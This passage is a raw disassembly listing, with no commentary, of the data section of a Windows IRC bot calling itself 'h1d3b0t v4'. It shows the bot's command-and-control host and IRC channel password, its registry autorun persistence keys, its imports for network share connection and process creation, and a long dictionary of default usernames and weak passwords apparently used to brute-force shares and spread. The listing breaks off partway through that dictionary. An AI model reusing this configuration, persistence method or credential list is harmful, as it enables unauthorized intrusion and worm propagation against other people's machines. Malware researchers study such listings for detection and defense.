		dd 1Ch,	422124h, 0
dword_424000	dd 3, 423FE0h, 423FC0h,	423FA0h	; DATA XREF: .nsp0:0042401Co
dword_424010	dd 0			; DATA XREF: sub_421F10+47o
					; .nsp0:004220FDo
		dd offset sub_4220AE
		dd 0
		dd offset dword_424000
dword_424020	dd 19930520h, 1, 424040h, 5 dup(0) ; DATA XREF:	.nsp0:loc_422408o
		dd 0FFFFFFFFh, 422400h
dword_424048	dd 19930520h, 1, 424068h, 5 dup(0) ; DATA XREF:	.nsp0:loc_42241Co
dword_424068	dd 0FFFFFFFFh, 422414h,	2, 423FC0h, 423FA0h, 0 ; DATA XREF: .nsp0:0042408Co
dword_424080	dd 0			; DATA XREF: .nsp0:00421FEDo
		dd offset sub_421FF8
		dd 0
		dd offset dword_424068+8
dword_424090	dd 19930520h, 1, 4240B0h, 5 dup(0) ; DATA XREF:	.nsp0:loc_422430o
		dd 0FFFFFFFFh, 422428h
dword_4240B8	dd 19930520h, 1, 4240D8h, 5 dup(0) ; DATA XREF:	.nsp0:loc_422444o
		dd 0FFFFFFFFh, 42243Ch
dword_4240E0	dd 19930520h, 1, 424100h, 5 dup(0) ; DATA XREF:	.nsp0:loc_422458o
		dd 0FFFFFFFFh, 422450h,	0
		dd offset off_43B970
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	42220Ch, 0
dword_424128	dd 3, 424108h, 423FC0h,	423FA0h	; DATA XREF: .nsp0:00424144o
dword_424138	dd 0			; DATA XREF: sub_42213C+47o
					; sub_4221D3+12o
		dd offset sub_422196
		dd 0
		dd offset dword_424128
dword_424148	dd 19930520h, 1, 424168h, 5 dup(0) ; DATA XREF:	.nsp0:loc_42246Co
		dd 0FFFFFFFFh, 422464h
dword_424170	dd 19930520h, 1, 424190h, 5 dup(0) ; DATA XREF:	.nsp0:loc_422480o
		dd 0FFFFFFFFh, 422478h,	3 dup(0)
		dd 2441Ah, 231BCh, 3 dup(0)
		dd 24430h, 231C4h, 3 dup(0)
		dd 24C0Ch, 23000h, 8Ch dup(0)
		db    6
		align 2
aWnetaddconne_1	db 'WNetAddConnection2A',0
aMpr_dll_0	db 'MPR.dll',0
		db '=',0
aWsasocketa_0	db 'WSASocketA',0
		align 10h
aWs2_32_dll_0	db 'WS2_32.dll',0
		align 4
		db '}',0
aExitprocess	db 'ExitProcess',0
		db 1Bh,0
aClosehandle	db 'CloseHandle',0
aD		db 'D',0
aCreateprocessa	db 'CreateProcessA',0
		align 2
		dw 124h
aGetmodulefilen	db 'GetModuleFileNameA',0
		align 10h
		db  59h	; Y
		db 1, 47h, 65h
aTsystemdirecto	db 'tSystemDirectoryA',0
		dw 296h
aSleep		db 'Sleep',0
aJ		db 'J',0
aCreatethread	db 'CreateThread',0
		align 2
aW		db 'W',0
aDeletefilea	db 'DeleteFileA',0
		dd 704F01EFh, 72506E65h, 7365636Fh, 0F80073h
aGetcurrentproc	db 'GetCurrentProcessId',0
		db  1Ah
		db 1, 47h, 65h
aTlasterror	db 'tLastError',0
		align 10h
		db '(',0
aCopyfilea	db 'CopyFileA',0
		db  68h	; h
		db 2, 53h, 65h
aTfileattribute	db 'tFileAttributesA',0
		align 2
		dw 10Dh
aGetfileattribu	db 'GetFileAttributesA',0
		align 4
		db  26h	; &
		db 1, 47h, 65h
aTmodulehandlea	db 'tModuleHandleA',0
		align 4
		db 0CEh	; Î
		db 2, 57h, 61h
aItforsingleobj	db 'itForSingleObject',0
a?		db '?',0
aCreatemutexa	db 'CreateMutexA',0
		align 2
		dw 16Dh
aGettickcount	db 'GetTickCount',0
		align 2
		dw 29Fh
aTerminatethrea	db 'TerminateThread',0
		dd 65470165h, 6D655474h, 74615070h, 4168h, 6F4D01DDh, 69466576h
		dd 41656Ch, 6F4C01C2h, 694C6461h, 72617262h, 4179h, 6547013Eh
		dd 6F725074h, 64644163h, 73736572h, 0CE0000h, 43746547h
		dd 75706D6Fh, 4E726574h, 41656D61h, 11C0000h, 4C746547h
		dd 6C61636Fh, 666E4965h, 416Fh,	65470175h, 72655674h, 6E6F6973h
		dd 417845h, 7845007Eh, 68547469h, 64616572h, 1C10000h
aLeavecriticals	db 'LeaveCriticalSection',0
		align 2
aF		db 'f',0
aEntercriticals	db 'EnterCriticalSection',0
		align 2
		dw 1ABh
aInitializecrit	db 'InitializeCriticalSectionAndSpinCount',0
aU		db 'U',0
aDeletecritical	db 'DeleteCriticalSection',0
		dw 2DFh
aWritefile	db 'WriteFile',0
a1		db '1',0
aCreateeventa	db 'CreateEventA',0
		align 2
		dw 218h
aReadfile_0	db 'ReadFile',0
		align 2
a4		db '4',0
aCreatefilea	db 'CreateFileA',0
		dd 6554029Eh, 6E696D72h, 50657461h, 65636F72h, 7373h, 75440063h
		dd 63696C70h, 48657461h, 6C646E61h, 0F70065h
aGetcurrentpr_0	db 'GetCurrentProcess',0
aC		db 'C',0
aCreatepipe	db 'CreatePipe',0
		align 4
		dd 6547016Eh, 6D695474h, 726F4665h, 4174616Dh, 0FB0000h
		dd 44746547h, 46657461h, 616D726Fh, 4174h, 65470112h, 6C694674h
		dd 7A695365h, 900065h, 646E6946h, 736F6C43h, 8A0065h
aFiletimetosyst	db 'FileTimeToSystemTime',0
		align 2
aI_0		db '‰',0
aFiletimetoloca	db 'FileTimeToLocalFileTime',0
aA_0		db '',0
aFindnextfilea	db 'FindNextFileA',0
aF_0		db '”',0
aFindfirstfilea	db 'FindFirstFileA',0
		align 2
		dw 26Ah
aSetfilepointer	db 'SetFilePointer',0
		align 4
		db  41h	; A
		db 2, 53h, 65h
aTconsolectrlha	db 'tConsoleCtrlHandler',0
		db 0CCh
		db 2, 57h, 61h
aItformultipleo	db 'itForMultipleObjects',0
		align 2
		db '¸',0
aGenerateconsol	db 'GenerateConsoleCtrlEvent',0
		align 2
		dw 206h
aQueryperform_1	db 'QueryPerformanceCounter',0
		db    7
		db 2, 51h, 75h
aEryperformance	db 'eryPerformanceFrequency',0
		dd 6547011Bh, 636F4C74h, 69546C61h, 656Dh, 6F4600AFh, 74616D72h
		dd 7373654Dh, 41656761h, 1930000h, 626F6C47h, 6E556C61h
		dd 6B636F6Ch, 18C0000h,	626F6C47h, 6F4C6C61h, 6B63h, 6E5502B0h
		dd 5670616Dh, 4F776569h, 6C694666h, 1D60065h, 5670614Dh
		dd 4F776569h, 6C694666h, 350065h
aCreatefilemapp	db 'CreateFileMappingA',0
		align 4
		db  6Ch	; l
		db 2, 53h, 65h
aTfiletime	db 'tFileTime',0
		dw 114h
aGetfiletime	db 'GetFileTime',0
aA_1		db '€',0
aExpandenvironm	db 'ExpandEnvironmentStringsA',0
		db '´',0
aFreelibrary	db 'FreeLibrary',0
		dw 2D2h
aWidechartomult	db 'WideCharToMultiByte',0
		db 0E4h	; ä
		db 1, 4Dh, 75h
aLtibytetowidec	db 'ltiByteToWideChar',0
		dw 2FFh
aLstrcmpia	db 'lstrcmpiA',0
		dw 10Bh
aGetexitcodepro	db 'GetExitCodeProcess',0
		align 4
		db 0F9h	; ù
		db 1, 50h, 65h
aEknamedpipe	db 'ekNamedPipe',0
		db  8Dh	; 
		db 1, 47h, 6Ch
aObalmemorystat	db 'obalMemoryStatus',0
		align 2
		dw 19Fh
aHeapfree	db 'HeapFree',0
		align 2
		dw 1A2h
aHeaprealloc	db 'HeapReAlloc',0
		db  99h	; ™
		db 1, 48h, 65h
aApalloc	db 'apAlloc',0
		db  2Fh	; /
		db 2, 52h, 74h
aLunwind	db 'lUnwind',0
		db  70h	; p
		db 1, 47h, 65h
aTtimezoneinfor	db 'tTimeZoneInformation',0
		align 2
		dw 15Dh
aGetsystemtime	db 'GetSystemTime',0
		dw 150h
aGetstartupinfo	db 'GetStartupInfoA',0
; ---------------------------------------------------------------------------
		retf	4700h
; ---------------------------------------------------------------------------
aEtcommandlinea	db 'etCommandLineA',0
		dw 174h
aGetversion	db 'GetVersion',0
		align 4
		dd 6548019Dh, 65447061h, 6F727473h, 19B0079h, 70616548h
		dd 61657243h, 6574h, 695602BFh,	61757472h, 6572466Ch, 2BB0065h
		dd 74726956h, 416C6175h, 636F6C6Ch, 1B80000h, 61427349h
		dd 69725764h, 74506574h, 0BF0072h, 43746547h, 666E4950h
		dd 0B9006Fh, 41746547h,	5043h, 65470131h, 4D454F74h, 5043h
		dd 6152020Bh, 45657369h, 70656378h, 6E6F6974h, 1A30000h
		dd 70616548h, 657A6953h, 1BF0000h, 614D434Ch, 72745370h
		dd 41676E69h, 1C00000h,	614D434Ch, 72745370h, 57676E69h
		dd 2AD0000h
aUnhandledexcep	db 'UnhandledExceptionFilter',0
		align 2
		db '²',0
aFreeenvironmen	db 'FreeEnvironmentStringsA',0
		db '³',0
aFreeenvironm_0	db 'FreeEnvironmentStringsW',0
		dw 106h
aGetenvironment	db 'GetEnvironmentStrings',0
		dw 108h
aGetenvironme_0	db 'GetEnvironmentStringsW',0
		align 4
		db  6Dh	; m
		db 2, 53h, 65h
aThandlecount	db 'tHandleCount',0
		align 2
		dw 152h
aGetstdhandle	db 'GetStdHandle',0
		align 2
		dw 115h
aGetfiletype	db 'GetFileType',0
		db  7Ch	; |
		db 2, 53h, 65h
aTstdhandle	db 'tStdHandle',0
		align 4
aK		db 'ª',0
aFlushfilebuffe	db 'FlushFileBuffers',0
		align 4
		db  53h	; S
		db 1, 47h, 65h
aTstringtypea	db 'tStringTypeA',0
		align 2
		dw 156h
aGetstringtypew	db 'GetStringTypeW',0
		align 10h
		db  8Bh	; ‹
		db 2, 53h, 65h
aTunhandledexce	db 'tUnhandledExceptionFilter',0
		dw 1B5h
aIsbadreadptr	db 'IsBadReadPtr',0
		align 2
		dw 1B2h
aIsbadcodeptr	db 'IsBadCodePtr',0
		align 2
		dw 261h
aSetendoffile	db 'SetEndOfFile',0
		align 2
		db '!',0
aComparestringa	db 'CompareStringA',0
		align 10h
		db '"',0
aComparestringw	db 'CompareStringW',0
		align 2
		dw 262h
aSetenvironment	db 'SetEnvironmentVariableA',0
aKernel32_dll	db 'KERNEL32.dll',0
		align 4
		dd 0F9h	dup(0)
dword_425000	dd 0			; DATA XREF: sub_417C94+1Fo
		dd offset loc_401205
		dd offset sub_40C983
		dd offset sub_40C9A4
		dd offset sub_40D7DD
		dd offset sub_422224
dword_425018	dd 0			; DATA XREF: sub_417C94+1Ao
dword_42501C	dd 0			; DATA XREF: sub_417C94+10o
		dd offset sub_419552
		dd offset sub_41BD52
		dd offset sub_41F417
		dd offset sub_420232
dword_425030	dd 0			; DATA XREF: sub_417C94:loc_417C9Fo
dword_425034	dd 0			; DATA XREF: sub_417CE3+65o
		dd offset sub_41F4BC
dword_42503C	dd 0			; DATA XREF: sub_417CE3:loc_417D43o
dword_425040	dd 0			; DATA XREF: sub_417CE3+76o
		dd offset sub_420243
dword_425048	dd 2 dup(0)		; DATA XREF: sub_417CE3:loc_417D54o
dword_425050	dd 80000002h, 425164h, 80000002h, 425194h, 80000001h, 425164h
					; DATA XREF: sub_401000+7o
dword_425068	dd 6272h		; DATA XREF: sub_401000+63o
					; sub_4010AB+Bo ...
dword_42506C	dd 1B58h		; DATA XREF: sub_401221+49Er
					; sub_401221+533r
dword_425070	dd 1A0Bh		; DATA XREF: sub_401221+57Fr
dword_425074	dd 7E4h			; DATA XREF: sub_401AC7:loc_40418Br
dword_425078	dd 45h			; DATA XREF: sub_401AC7+1BDEr
					; sub_40ABD2+3Br
dword_42507C	dd 7D1h			; DATA XREF: sub_401AC7:loc_403790r
					; sub_40ABD2:loc_40AFC3r
dword_425080	dd 201h			; DATA XREF: sub_401AC7:loc_40391Cr
word_425084	dw 7C7h			; DATA XREF: sub_401AC7:loc_4042AEr
		align 4
dword_425088	dd 1			; DATA XREF: sub_401AC7+65Cr
dword_42508C	dd 1			; DATA XREF: sub_401221:loc_40155Fr
					; sub_41542E+Cr
byte_425090	db 78h			; DATA XREF: sub_401AC7+6C4r
					; sub_401AC7+8ADr ...
		align 4
dword_425094	dd 9			; DATA XREF: sub_409DC3+39r
					; sub_409DC3+5Fr ...
dword_425098	dd 1			; DATA XREF: sub_4017E7+78r
					; sub_401AC7+27Cr ...
dword_42509C	dd 1			; DATA XREF: sub_4017E7+72r
					; sub_401AC7+276r
aK3ysxc		db 'k3ysxc',0           ; DATA XREF: sub_401221+5Do
					; sub_401AC7:loc_403FFEo ...
		align 4
aH1d3b0tV4PiaVe	db 'h1d3b0t v4 Pia Version',0
		align 10h
aHi		db 'hi',0               ; DATA XREF: sub_401AC7+6FD2o
					; sub_401AC7+70A1o
		align 4
aMom_arabHacker	db 'mom.arab-hacker.org',0 ; DATA XREF: sub_401221+48Ao
					; sub_401221+524o
aDd		db '#dd',0              ; DATA XREF: sub_401221+4AAo
					; sub_401221+53Ao ...
aDpass		db 'dpass',0            ; DATA XREF: sub_401221+4C1o
					; sub_401221+54Co
		align 4
byte_4250E4	db 57h			; DATA XREF: sub_401221+140o
					; sub_401221+164w ...
		db 69h,	6Eh, 72h
		dd 4F437261h, 6D6F632Eh, 0
		dd 6E6E6977h, 63786474h, 7461622Eh, 0
dword_425104	dd 526E6957h, 53205261h, 69767265h, 6563h ; DATA XREF: sub_401000+Eo
dword_425114	dd 2D6378h, 736E6977h, 2E637879h, 746164h ; DATA XREF: .nsp0:00409E41o
dword_425124	dd 692B782Dh, 0		; DATA XREF: sub_401AC7+711Ao
dword_42512C	dd 23637823h, 0		; DATA XREF: sub_401AC7+189Bo
					; sub_401AC7+2ACAo ...
		dd 42594323h, 6C2D5245h, 676Fh
dword_425140	dd 42594323h, 732D5245h, 6666696Eh, 0 ;	DATA XREF: sub_401AC7+3AC7o
off_425150	dd offset a@room	; DATA XREF: sub_401AC7:loc_408AF5o
					; "*@room"
off_425154	dd offset aMircV6_16Khale ; DATA XREF: sub_401AC7+83Dr
					; sub_401AC7+704Ao
					; "mIRC	v6.16 Khaled Mardam-Bey"
		dd offset aMircV6_17Khale ; "mIRC v6.17	Khaled Mardam-Bey"
		dd offset aMircV6_20Khale ; "mIRC v6.20	Khaled Mardam-Bey"
		dd offset aMircV6_21Khale ; "mIRC v6.21	Khaled Mardam-Bey"
aSoftwareMicros	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicr_0	db 'Software\Microsoft\OLE',0
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0
		align 4
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aStaff	; "staff"
		dd offset aRoot		; "root"
		dd offset aComputer	; "computer"
		dd offset aOwner	; "owner"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
off_425240	dd offset aWwwadmin	; DATA XREF: .nsp0:off_438ED4o
					; "wwwadmin"
		dd offset aGuest_0	; "guest"
		dd offset aDefault	; "default"
		dd offset aDatabase	; "database"
		dd offset aDba		; "dba"
		dd offset aOracle	; "oracle"
		dd offset aDb2		; "db2"
		dd offset aUser_0	; "USER"
		dd 0
		dd offset byte_43B9B8
		dd offset aAdministrato_1 ; "ADMINISTRATOR"
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aFubar	; "fubar"
		dd offset aBla		; "bla"
		dd offset aGuest_1	; "GUEST"
		dd offset aRoot_0	; "ROOT"
		dd offset aRoot		; "root"
		dd offset aAdmin_0	; "ADMIN"
		dd offset aPassword	; "PASSWORD"
		dd offset aTemp		; "TEMP"
		dd offset aShare_0	; "SHARE"
		dd offset aWrite	; "WRITE"
		dd offset aFull_0	; "FULL"
		dd offset aLadeda	; "ladeda"
		dd offset aBoth		; "BOTH"
		dd offset aRead		; "READ"
		dd offset aFiles	; "FILES"
		dd offset aDemo		; "DEMO"
		dd offset aOwner_0	; "OWNER"
		dd offset aOwner_1	; "Owner"
		dd offset aEdu		; "edu"
		dd offset aTest		; "TEST"
		dd offset aAccess	; "ACCESS"
		dd offset aUser_0	; "USER"
		dd offset aBackup	; "BACKUP"
		dd offset aSystem_0	; "SYSTEM"
		dd offset aServer_2	; "SERVER"
		dd offset aPepsi	; "pepsi"
		dd offset aLocal	; "LOCAL"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aChangeme_0	; "Changeme"
		dd offset aTemp123	; "temp123"
		dd offset a1_0		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a654321	; "654321"
		dd offset a54321	; "54321"
		dd offset a111		; "111"
		dd offset a11111111	; "11111111"
		dd offset a88888888	; "88888888"
		dd offset aPass_0	; "pass"
		dd offset aPasswd	; "passwd"
		dd offset aDatabase	; "database"
		dd offset aAbcd		; "abcd"
		dd offset aAbc123	; "abc123"
		dd offset aOracle	; "oracle"
		dd offset aSybase	; "sybase"
		dd offset a123qwe	; "123qwe"
		dd offset aComputer	; "computer"
		dd offset aInternet	; "Internet"
		dd offset aSuper	; "super"
		dd offset a123asd	; "123asd"
		dd offset aIhavenopass	; "ihavenopass"
		dd offset aGodblessyou	; "godblessyou"
		dd offset aEnable	; "enable"
		dd offset aXp_0		; "xp"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2600		; "2600"
		dd offset a110		; "110"
		dd offset a111111	; "111111"
		dd offset a121212	; "121212"
		dd offset a123123	; "123123"
		dd offset a1234qwer	; "1234qwer"
		dd offset a123abc	; "123abc"
		dd offset a007		; "007"
		dd offset aAlpha	; "alpha"
		dd offset aPatrick	; "patrick"
		dd offset aPat		; "pat"
		dd offset aSex_0	; "sex"
		dd offset aGod		; "god"
		dd offset aFoobar	; "foobar"
		dd offset aNilez	; "Nilez"
		dd offset aDevil	; "devil"
		dd offset aNetdevil	; "netdevil"
		dd offset aNetDevil	; "net-devil"
		dd offset a0wned	; "0wned"
		dd offset aOwned	; "owned"
		dd offset aIrule	; "irule"
		dd offset aNetfuck	; "netfuck"
		dd offset aFucked	; "fucked"
		dd offset aCrash	; "crash"
		dd offset aA_2		; "a"
		dd offset aAaa		; "aaa"
		dd offset aAbc		; "abc"
		dd offset aTest123	; "test123"
		dd offset aWin		; "win"
		dd offset aPc		; "pc"
		dd offset aAsdf		; "asdf"
		dd offset aSecret	; "secret"
		dd offset aQwer		; "qwer"
		dd offset aYxcv		; "yxcv"
		dd offset aZxcv		; "zxcv"
		dd offset aHome		; "home"
		dd offset aLogin	; "login"
		dd offset aPwd		; "pwd"
		dd offset aLove		; "love"
		dd offset aMypc		; "mypc"
		dd offset aMypc123	; "mypc123"
		dd offset aAdmin123	; "admin123"
		dd offset aPw123	; "pw123"
		dd offset aMypass	; "mypass"
		dd offset aMypass123	; "mypass123"
		dd offset aPw		; "pw"
		dd offset aMat		; "Mat"
		dd offset aMatt		; "Matt"
		dd offset aMatthew	; "Matthew"
		dd offset aGobo		; "gobo"
		dd offset aSatan	; "satan"
		dd offset aSatanik	; "satanik"
		dd offset aSatanic	; "satanic"
		dd offset aSpaceman	; "spaceman"
		dd offset aHeaven	; "heaven"
		dd offset aW00t		; "w00t"
		dd offset a0wn3d	; "0wn3d"
		dd offset aKiller	; "killer"
		dd offset aLeet		; "leet"
		dd offset aL33t		; "l33t"
		dd offset aL337		; "l337"
		dd offset aHacker	; "hacker"
		dd offset aHax0r	; "hax0r"
		dd offset aScript	; "script"
		dd offset aScriptkiddie	; "scriptkiddie"
		dd offset aKiddie	; "kiddie"
		dd offset aMirc		; "mirc"
		dd offset aUwontguessme	; "uwontguessme"
		dd offset aYouwontguessme ; "youwontguessme"
		dd offset aGuessme	; "guessme"
		dd offset asc_42BB94	; "x"
		dd offset aXx		; "xx"
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxxxx	; "xxxxx"
		dd offset aXxxxxx	; "xxxxxx"
		dd offset aXxxxxxx	; "xxxxxxx"
		dd offset aXxxxxxxx	; "xxxxxxxx"
		dd offset aXxxxxxxxx	; "xxxxxxxxx"
		dd offset a0_0		; "0"
		dd offset a00		; "00"
		dd offset aDeath	; "death"
		dd offset aTesting	; "testing"
		dd offset a000		; "000"
		dd offset a0000		; "0000"
		dd offset a00000	; "00000"
		dd offset a000000	; "000000"
		dd offset aAcademia	; "academia"
		dd offset aAcademic	; "academic"
		dd offset aAccept	; "accept"
		dd offset aAccount	; "account"
		dd offset aAction	; "action"
		dd offset aAdam		; "adam"
		dd offset aAdrian	; "adrian"
		dd offset aAdrianna	; "adrianna"
		dd offset aAdult	; "adult"
		dd offset aAerobics	; "aerobics"
		dd offset aAids		; "aids"
		dd offset aAirplane	; "airplane"
		dd offset aAlaska	; "alaska"
		dd offset aAlbany	; "albany"
		dd offset aAlbatros	; "albatros"
		dd offset aAlbert	; "albert"
		dd offset aAlert	; "alert"
		dd offset aAlex		; "alex"
		dd offset aAlexande	; "alexande"
		dd offset aAlgebra	; "algebra"
		dd offset aAlias	; "alias"
		dd offset aAliases	; "aliases"
		dd offset aAlice	; "alice"
		dd offset aAlicia	; "alicia"
		dd offset aAlisa	; "alisa"
		dd offset aAlison	; "alison"
		dd offset aAllison	; "allison"
		dd offset aAllow	; "allow"
		dd offset aAlphabet	; "alphabet"
		dd offset aAmadeus	; "amadeus"
		dd offset aAmanda	; "amanda"
		dd offset aAmber	; "amber"
		dd offset aAmerica	; "america"
		dd offset aAmorphou	; "amorphou"
		dd offset aAnal		; "anal"
		dd offset aAnalog	; "analog"
		dd offset aAnarchis	; "anarchis"
		dd offset aAnarchy	; "anarchy"
		dd offset aAnchor	; "anchor"
		dd offset aAndrea	; "andrea"
		dd offset aAndroid	; "android"
		dd offset aAndromac	; "andromac"
		dd offset aAndy		; "andy"
		dd offset aAnfo		; "anfo"
		dd offset aAngela	; "angela"
		dd offset aAngerine	; "angerine"
		dd offset aAngie	; "angie"
		dd offset aAnimal	; "animal"
		dd offset aAnimals	; "animals"
		dd offset aAnita	; "anita"
		dd offset aAnna		; "anna"
		dd offset aAnne		; "anne"
		dd offset aAnnette	; "annette"
		dd offset aAnon		; "anon"
		dd offset aAnonymou	; "anonymou"
		dd offset aAnswer	; "answer"
		dd offset aAnthrax	; "anthrax"
		dd offset aAnthropo	; "anthropo"
		dd offset aAnvils	; "anvils"
		dd offset aAnything	; "anything"
		dd offset aApollo13	; "apollo13"
		dd offset aApril	; "april"
		dd offset aAria		; "aria"
		dd offset aAriadne	; "ariadne"
		dd offset aArlene	; "arlene"
		dd offset aArmy		; "army"
		dd offset aArrow	; "arrow"
		dd offset aArthur	; "arthur"
		dd offset aArtist	; "artist"
		dd offset aAsian	; "asian"
		dd offset aAsshole	; "asshole"
		dd offset aAthena	; "athena"
		dd offset aAtmosphe	; "atmosphe"
		dd offset aAtom		; "atom"
		dd offset aAttack	; "attack"
		dd offset aAuthoriz	; "authoriz"
		dd offset aAztecs	; "aztecs"
		dd offset aAzure	; "azure"
		dd offset aBabe		; "babe"
		dd offset aBaby		; "baby"
		dd offset aBacchus	; "bacchus"
		dd offset aBackdoor	; "backdoor"
		dd offset aBadass	; "badass"
		dd offset aBailey	; "bailey"
		dd offset aBall		; "ball"
		dd offset aBanana	; "banana"
		dd offset aBananas	; "bananas"
		dd offset aBandit	; "bandit"
		dd offset aBank		; "bank"
		dd offset aBanks	; "banks"
		dd offset aBarbara	; "barbara"
		dd offset aBarber	; "barber"
		dd offset aBare		; "bare"
		dd offset aBarf		; "barf"
		dd offset aBaritone	; "baritone"
		dd offset aBart		; "bart"
		dd offset aBartman	; "bartman"
		dd offset aBaseball	; "baseball"
		dd offset aBasic	; "basic"
		dd offset aBass		; "bass"
		dd offset aBassoon	; "bassoon"
		dd offset aBatch	; "batch"
		dd offset aBatman	; "batman"
		dd offset aBeach	; "beach"
		dd offset aBeammeup	; "beammeup"
		dd offset aBear		; "bear"
		dd offset aBeast	; "beast"
		dd offset aBeater	; "beater"
		dd offset aBeauty	; "beauty"
		dd offset aBeaver	; "beaver"
		dd offset aBecky	; "becky"
		dd offset aBeethove	; "beethove"
		dd offset aBegin	; "begin"
		dd offset aBehead	; "behead"
		dd offset aBell		; "bell"
		dd offset aBeloved	; "beloved"
		dd offset aBenz		; "benz"
		dd offset aBeowulf	; "beowulf"
		dd offset aBerkeley	; "berkeley"
		dd offset aBerlin	; "berlin"
		dd offset aBerliner	; "berliner"
		dd offset aBeryl	; "beryl"
		dd offset aBeta		; "beta"
		dd offset aBeth		; "beth"
		dd offset aBetsie	; "betsie"
		dd offset aBetty	; "betty"
		dd offset aBeverly	; "beverly"
		dd offset aBible	; "bible"
		dd offset aBicamera	; "bicamera"
		dd offset aBigfoot	; "bigfoot"
		dd offset aBill		; "bill"
		dd offset aBinary	; "binary"
		dd offset aBios		; "bios"
		dd offset aBird		; "bird"
		dd offset aBishop	; "bishop"
		dd offset aBitch	; "bitch"
		dd offset aBitmap	; "bitmap"
		dd offset aBitnet	; "bitnet"
		dd offset aBlack	; "black"
		dd offset aBlonde	; "blonde"
		dd offset aBlondie	; "blondie"
		dd offset aBlood	; "blood"
		dd offset aBloodaxe	; "bloodaxe"
		dd offset aBlow		; "blow"
		dd offset aBlowjob	; "blowjob"
		dd offset aBlue		; "blue"
		dd offset aBlues	; "blues"
		dd offset aBoard	; "board"
		dd offset aBomb		; "bomb"
		dd offset aBoner	; "boner"
		dd offset aBoob		; "boob"
		dd offset aBoobs	; "boobs"
		dd offset aBook		; "book"
		dd offset aBorn		; "born"
		dd offset aBoyscout	; "boyscout"
		dd offset aBradley	; "bradley"
		dd offset aBrandi	; "brandi"
		dd offset aBrandy	; "brandy"
		dd offset aBravo	; "bravo"
		dd offset aBreak	; "break"
		dd offset aBreast	; "breast"
		dd offset aBrenda	; "brenda"
		dd offset aBrian	; "brian"
		dd offset aBridget	; "bridget"
		dd offset aBroadway	; "broadway"
		dd offset aBrothel	; "brothel"
		dd offset aBrunette	; "brunette"
		dd offset aBrute	; "brute"
		dd offset aBrutefor	; "brutefor"
		dd offset aBulls	; "bulls"
		dd offset aBullshit	; "bullshit"
		dd offset aBumbling	; "bumbling"
		dd offset aBung		; "bung"
		dd offset aBurgess	; "burgess"
		dd offset aBurn		; "burn"
		dd offset aButch	; "butch"
		dd offset aButt		; "butt"
		dd offset aButthead	; "butthead"
		dd offset aCaliforn	; "californ"
		dd offset aCamille	; "camille"
		dd offset aCampanil	; "campanil"
		dd offset aCamping	; "camping"
		dd offset aCandi	; "candi"
		dd offset aCandy	; "candy"
		dd offset aCantor	; "cantor"
		dd offset aCaptain	; "captain"
		dd offset aCapture	; "capture"
		dd offset aCard		; "card"
		dd offset aCardinal	; "cardinal"
		dd offset aCaren	; "caren"
		dd offset aCarla	; "carla"
		dd offset aCarmen	; "carmen"
		dd offset aCarol	; "carol"
		dd offset aCarole	; "carole"
		dd offset aCarolina	; "carolina"
		dd offset aCaroline	; "caroline"
		dd offset aCarrie	; "carrie"
		dd offset aCarson	; "carson"
		dd offset aCascades	; "cascades"
		dd offset aCash		; "cash"
		dd offset aCastle	; "castle"
		dd offset aCatherin	; "catherin"
		dd offset aCatholic	; "catholic"
		dd offset aCathy	; "cathy"
		dd offset aCave		; "cave"
		dd offset aCayuga	; "cayuga"
		dd offset aCecily	; "cecily"
		dd offset aCelt		; "celt"
		dd offset aCeltic	; "celtic"
		dd offset aCeltics	; "celtics"
		dd offset aCerulean	; "cerulean"
		dd offset aChange	; "change"
		dd offset aCharity	; "charity"
		dd offset aCharles	; "charles"
		dd offset aCharlie	; "charlie"
		dd offset aCharming	; "charming"
		dd offset aCharon	; "charon"
		dd offset aChat		; "chat"
		dd offset aChem		; "chem"
		dd offset aChemistr	; "chemistr"
		dd offset aChess	; "chess"
		dd offset aChester	; "chester"
		dd offset aChip		; "chip"
		dd offset aChris	; "chris"
		dd offset aChristin	; "christin"
		dd offset aChristy	; "christy"
		dd offset aCigar	; "cigar"
		dd offset aCigarett	; "cigarett"
		dd offset aCindy	; "cindy"
		dd offset aClass	; "class"
		dd offset aClasses	; "classes"
		dd offset aClassic	; "classic"
		dd offset aClaudia	; "claudia"
		dd offset aClaymore	; "claymore"
		dd offset aCleavage	; "cleavage"
		dd offset aClinton	; "clinton"
		dd offset aCluster	; "cluster"
		dd offset aClusters	; "clusters"
		dd offset aCoast	; "coast"
		dd offset aCocacola	; "cocacola"
		dd offset aCocainco	; "cocainco"
		dd offset aCock		; "cock"
		dd offset aCode		; "code"
		dd offset aCodename	; "codename"
		dd offset aCodeword	; "codeword"
		dd offset aCoffee	; "coffee"
		dd offset aCoin		; "coin"
		dd offset aCoke		; "coke"
		dd offset aCola		; "cola"
		dd offset aCold		; "cold"
		dd offset aCollins	; "collins"
		dd offset aColor	; "color"
		dd offset aCombat	; "combat"
		dd offset aComics	; "comics"
		dd offset aCommit	; "commit"
		dd offset aCommrade	; "commrade"
		dd offset aCompany	; "company"
		dd offset aComputin	; "computin"
		dd offset aComrade	; "comrade"
		dd offset aComrades	; "comrades"
		dd offset aCondo	; "condo"
		dd offset aCondom	; "condom"
		dd offset aConnect	; "connect"
		dd offset aConnie	; "connie"
		dd offset aConserva	; "conserva"
		dd offset aConsole	; "console"
		dd offset aContinue	; "continue"
		dd offset aCook		; "cook"
		dd offset aCookbook	; "cookbook"
		dd offset aCookie	; "cookie"
		dd offset aCool		; "cool"
